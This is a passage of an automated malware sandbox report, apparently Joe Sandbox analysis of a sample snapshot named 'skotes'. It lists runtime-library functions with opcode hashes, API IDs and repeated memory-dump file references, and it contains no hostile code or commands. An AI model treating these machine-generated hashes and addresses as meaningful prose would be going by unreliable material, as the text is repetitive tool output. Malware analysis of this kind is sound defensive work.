                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Concurrency::details::$Proxy::Scheduler$ExecutionHardware$AffinityAffinity::BorrowedCoreCountCurrentFixedIncrementListResourceResource::StateToggle
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 932774601-0
                                                                                                                                                                                                                                                                                    • Opcode ID: f6dfd0e96df7e653181799d0fb7bfddf7f2514f4555d8413b6e55b344418f17e
                                                                                                                                                                                                                                                                                    • Instruction ID: 463f4311fb45eb3151d25994f5cd785696f53f5802828ae6c4ff6260be36e34c
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: f6dfd0e96df7e653181799d0fb7bfddf7f2514f4555d8413b6e55b344418f17e
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 7B21A931900B149FCB25EF65D9908AEF3F5FF987007408A5EE44AA7651DB30F905CBA2
                                                                                                                                                                                                                                                                                    Function 00174885 Relevance: 6.0, APIs: 4, Instructions: 50COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • ListArray.LIBCONCRT ref: 00174893
                                                                                                                                                                                                                                                                                    • ListArray.LIBCONCRT ref: 001748A5
                                                                                                                                                                                                                                                                                      • Part of subcall function 00175555: _InternalDeleteHelper.LIBCONCRT ref: 00175564
                                                                                                                                                                                                                                                                                    • ListArray.LIBCONCRT ref: 001748AF
                                                                                                                                                                                                                                                                                    • _InternalDeleteHelper.LIBCONCRT ref: 001748C8
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ArrayList$DeleteHelperInternal
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 3844194624-0
                                                                                                                                                                                                                                                                                    • Opcode ID: d8105d90bc4d719fbd07c7f51237011a84e9fd33cfe5c592c38802995fc0c8ae
                                                                                                                                                                                                                                                                                    • Instruction ID: ba645589e90db28dff979a28cc336e9c14dbabd708af8628a3098623c675bca1
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: d8105d90bc4d719fbd07c7f51237011a84e9fd33cfe5c592c38802995fc0c8ae
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: C701D131B00925AFCB25BBA4E882E6EB77BBF55710B044129F90897612DF60EC21D7A1
                                                                                                                                                                                                                                                                                    Function 0017EE5C Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • ListArray.LIBCONCRT ref: 0017EE6A
                                                                                                                                                                                                                                                                                    • ListArray.LIBCONCRT ref: 0017EE7C
                                                                                                                                                                                                                                                                                      • Part of subcall function 0017EF29: _InternalDeleteHelper.LIBCONCRT ref: 0017EF3B
                                                                                                                                                                                                                                                                                    • ListArray.LIBCONCRT ref: 0017EE86
                                                                                                                                                                                                                                                                                    • _InternalDeleteHelper.LIBCONCRT ref: 0017EE9F
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ArrayList$DeleteHelperInternal
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 3844194624-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 8e3f895713d4a2d82e08d15e971830851fe3413e014e4729797ff4e6705b9ec9
                                                                                                                                                                                                                                                                                    • Instruction ID: 5457ddaeb88be4f614be4c8cdaab5202313827f47b2f674117dfc5472d9b4826
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 8e3f895713d4a2d82e08d15e971830851fe3413e014e4729797ff4e6705b9ec9
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 8A018631700521AFCA257B65DCC2D6EBBFEBF597107054469F44857611CF20FC2196D1
                                                                                                                                                                                                                                                                                    Function 0017D0B7 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • ListArray.LIBCONCRT ref: 0017D0C5
                                                                                                                                                                                                                                                                                    • ListArray.LIBCONCRT ref: 0017D0D7
                                                                                                                                                                                                                                                                                      • Part of subcall function 0017C6B2: _InternalDeleteHelper.LIBCONCRT ref: 0017C6C4
                                                                                                                                                                                                                                                                                    • ListArray.LIBCONCRT ref: 0017D0E1
                                                                                                                                                                                                                                                                                    • _InternalDeleteHelper.LIBCONCRT ref: 0017D0FA
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
